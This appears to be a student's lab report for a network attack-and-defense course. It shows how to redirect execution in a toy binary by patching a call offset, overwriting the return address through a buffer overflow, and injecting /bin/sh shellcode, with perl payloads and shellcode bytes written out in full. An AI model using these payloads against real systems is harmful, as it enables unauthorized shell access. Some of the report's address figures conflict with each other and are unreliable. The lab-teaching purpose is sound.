当前位置: 首页 > news >正文

20232315 2025-2026-1 《网络与系统攻防技术》实验一实验报告

一、实验目标
对一个名为pwn1的linux可执行文件:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
二、实验内容
(一)基础知识
基础汇编指令
NOP(空指令):CPU不执行任何操作,直接继续下一条指令。(机器码:90)
JNE/JE:基于比较结果跳转(机器码75/74)
CMP:比较操作数并设置标志位,不保存结果
JMP:(无条件跳转)
反汇编
反汇编是将机器码(二进制指令)转换为汇编代码的逆向过程,通过反汇编可以查看程序的底层执行逻辑和指令流程。
本次使用Linux平台的objdump工具分析pwn1可执行文件,
命令格式:objdump -d 目标文件
该命令会输出完整的汇编代码段及其内存地址信息。
本次实验使用xxd作为十六进制编辑器。
三、实验过程

  1. 直接修改程序机器指令,改变程序执行流程
    为达成实验目标,需将指令 “call foo” 修改为 “call getShell”,实际操作是把原指向 foo 的地址 8048491,替换为 getShell 的入口地址 804847d;由于 call 指令采用相对跳转,遵循 “EIP + 偏移量 = 目标地址” 的原理,可推导出偏移量 = 目标地址 - EIP,这里目标地址为 getShell 的 804847d,EIP 值为 80484ba,代入计算得偏移量为 804847d - 80484ba = -61,其补码为 0xffffff3c,又因 x86 架构是小端存储,所以只需将机器码中原本的 0xd7ffffff 改成 0xc3ffffff,就能实现跳转到 getShell 函数。
    2ef8e6565703382cbc863ec05e1fa0b
    (此为修改前)
    3850190060269ff3fb4c2b38067e70e
    (修改前的地址)
    0f6376909a286493c1a628cc0ed48a9
    (修改后的地址)
    查看pwn20232415运行结果如下图,说明getshell函数已实现。
    5b0833e3e981e465b4369899866afe2
    2.通过构造输入参数,造成BOF攻击,改变程序执行流
    程序调用 foo 函数时,会在栈上生成专属栈帧。但 foo 函数仅用一个 28 字节(0x1c)的缓冲区读取字符串,这就导致了缓冲区溢出(Bof)漏洞。我们可以利用这个漏洞,向缓冲区输入超过其容量的字符串,覆盖栈中的返回地址,把它改成 getShell 函数的地址,进而达成攻击目的。从反汇编结果能看到,正常执行 call foo 指令时,会把返回地址 0x80484ba 压入栈中,我们的目标就是把这个地址覆盖成 getShell 函数的入口地址。
    接下来用 gdb 调试 pwn3 程序,先输入测试字符串 “1111111122222222333333334444444412345678”,再执行 info r 命令查看寄存器状态。结果显示,存储下一条指令地址的 EIP 寄存器,已经被覆盖成了 0x34333231,这个值对应的正是字符串里 “1234” 的 ASCII 码。
    addde91af903073257c6db56d950b54
    已知 getShell 函数的入口地址为 0x0804847d(通过反汇编得知),要利用缓冲区溢出漏洞实现攻击,只需把输入字符串末尾的 "1234" 替换成该地址的小端序字节表示,这样程序返回时就会跳转到 getShell 函数。
    具体构造输入字符串的方法是:先用 "11111111222222223333333344444444" 填满缓冲区,再追加目标地址的小端序形式 "\x7d\x84\x04\x08"。可通过这条 perl 命令生成包含该字符串的文件:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input(其中 \x0a 代表换行符)
    生成后,可用 xxd input 命令检查文件内容,确认地址字节是否按小端序正确排列。最后执行 (cat input; cat) | ./pwn3 命令,将构造的输入传递给目标程序 —— 该命令会先发送 input 文件中的攻击载荷,再保持标准输入打开以便交互。如此,程序执行返回时就会跳转到指定的 getShell 函数地址,实现攻击目的。
    结果如图所示,成功执行getshell获取了shell。
    94456b0c8e2064cb21e9fc291546219
    3.注入Shellcode并执行
    构造包含shellcode的输入perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
    将构造的输入传递给目标程序pwn20232415_3:
    (cat input_shellcode; cat) | ./pwn20232415_3
    建立新终端,输入ps -ef | grep pwn20232415_3,查看pwn20232415_3文件的进程以及进程号如下:
    image
    可以看到进程号为70872
    接下来在新终端中使用 gdb 进行调试:
    启动 gdb 并附加到目标进程: gdb pwn20232415_3 attach 70872
    反编译 foo 函数并分析返回地址位置: disassemble foo
    image
    通过反编译结果可定位 foo 函数中 return address 的具体内存地址,用于后续替换x1x2x3x4占位符。
    通过计算,shellcode 的注入地址应为栈顶指针地址0xffffcfec加上 4 字节,即 0xffffcff0。将该地址以小端序格式(\xf0\xcf\xff\xff)替换原占位符 \x01\x02\x03\x04,构造最终的注入字符串:
    perl -e 'print "A" x 32;print "\xe0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
    将构造的输入传递给目标程序:(cat input_shellcode; cat) | ./pwn4
    执行 ls 命令后成功显示当前目录文件,确认已通过覆盖返回地址调用 getShell 函数,完成攻击。
    5d5835004e9c7346566e50fc6caf714
http://www.hskmm.com/?act=detail&tid=30371

相关文章:

  • 地址
  • CSP-S 2025 提高级模拟赛 Day6 复盘 B.连通子图
  • 新手村程序
  • Android Camera openCamera - 教程
  • 信号与系统
  • 大作业第一阶段验收小组集体加5分 -
  • 业务定义与指标体系搭建
  • Linux使用笔记
  • [Vulhub靶机]W1R3S靶机渗透
  • 基于zynq实现一个边缘识别视频流(预学习HLS篇)
  • 咬鼠
  • 10月13日日记
  • 分享一个知乎高赞回答生成AI指令:让技术人也能写出有深度的回答
  • 实用指南:C语言速成秘籍——循环结构(while、do while、for)和跳转语句(break,continue)
  • 描述https的加密过程
  • CSP-S 2025 提高级模拟赛 Day6 复盘 A.选择方案
  • SSL证书批量申请终极指南:一次搞定所有域名
  • npm install creat-vue命令使用报错解决方法
  • PDF转图片工具:基于PyQt5的完整实现与深度解析 - 详解
  • MongoDB安装及使用
  • 从Gemini Robotics看通用机器人的科技路径
  • 张量的基本操作
  • Windows7 隐藏用户
  • 10 月记录
  • 统计学习方法学习Day01
  • gpt-5-codex vs gpt-5
  • Jenkins Share Library开发入门(一)
  • 第十三篇
  • 虚树
  • 网络安全基础--第五课:跨站脚本攻击XSS - 实践